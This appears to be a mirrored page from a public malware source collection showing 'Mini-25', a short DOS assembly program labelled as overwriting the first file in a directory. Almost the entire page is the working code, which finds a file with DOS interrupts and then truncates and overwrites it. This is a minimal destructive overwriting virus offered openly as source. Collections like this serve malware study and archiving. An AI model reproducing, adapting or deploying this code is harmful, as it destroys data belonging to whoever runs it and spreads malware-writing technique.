mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
21 lines
420 B
NASM
21 lines
420 B
NASM
;
|
|
; Mini-25
|
|
;
|
|
; Overwrites the first file in a directory
|
|
|
|
|
|
FNAM Equ 09eh
|
|
|
|
Db '*.*',0
|
|
Main: Mov Ah,4eh
|
|
Mov Dx,Cx
|
|
Int 21h
|
|
Mov Ah,3ch
|
|
Lea Dx,FNAM
|
|
On2: Int 21h
|
|
Mov Bh,40h
|
|
Xchg Cx,Dx
|
|
Xchg Ax,Bx
|
|
Jmp On2
|
|
Length Equ $-Main
|